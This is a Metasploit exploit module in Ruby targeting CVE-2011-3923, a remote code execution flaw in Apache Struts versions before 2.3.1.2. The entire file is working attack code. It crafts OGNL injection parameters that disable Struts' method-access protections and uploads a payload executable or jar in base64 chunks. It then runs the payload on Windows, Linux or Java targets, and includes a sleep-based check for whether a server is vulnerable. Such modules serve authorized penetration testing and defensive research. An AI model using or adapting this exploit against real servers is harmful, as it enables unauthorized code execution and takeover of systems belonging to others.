##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
for the use of parentheses which in turn allows it to interpret parameter values as
OGNL expressions during certain exception handling for mismatched data types of
properties which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
'Author' =>
[
'Meder Kydyraliev', # Vulnerability Discovery and PoC
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
'mihi' #ARCH_JAVA support
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3923'],
[ 'OSVDB', '78501'],
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Oct 01 2011',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
], self.class)
end
def execute_command(cmd, opts = {})
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
uri = String.new(datastore['TARGETURI'])
uri = normalize_uri(uri)
uri.gsub!(/INJECT/,inject) # append the injection string
resp = send_request_cgi({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
})
return resp #Used for check function.
end
def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = 'false'
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
chunk_length = 2048 - sub_from_chunk
chunk_length = ((chunk_length/4).floor)*3
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end
def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def check
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
print_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
end
